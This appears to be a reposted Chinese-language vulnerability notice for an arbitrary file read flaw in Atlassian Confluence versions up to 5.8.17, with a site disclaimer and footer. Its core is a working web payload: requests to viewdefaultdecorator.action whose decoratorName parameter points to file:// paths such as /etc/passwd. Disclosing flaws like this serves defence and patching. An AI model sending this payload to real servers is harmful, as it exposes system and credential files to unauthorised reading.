Atlassian Confluence任意文件讀取漏洞


Atlassian Confluence


Atlassian Confluence是澳大利亞Atlassian公司的一套專業的企業知識管理與協同軟件,也可以用於構建企業WiKi。該軟件可實現團隊成員之間的協作和知識共享。

漏洞簡介


漏洞名稱:任意文件讀取

漏洞類型:WEB類型漏洞

影響版本:小於或等於5.8.17版本

漏洞評級:高危

漏洞詳情


漏洞請求:

https://hostdomain/spaces/viewdefaultdecorator.action?decoratorName=PAYLOAD

https://hostdomain/admin/viewdefaultdecorator.action?decoratorName=PAYLOAD

PAYLOAD =》 file:///d:/xxx/xxx 或者 file:////etc/passwd


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM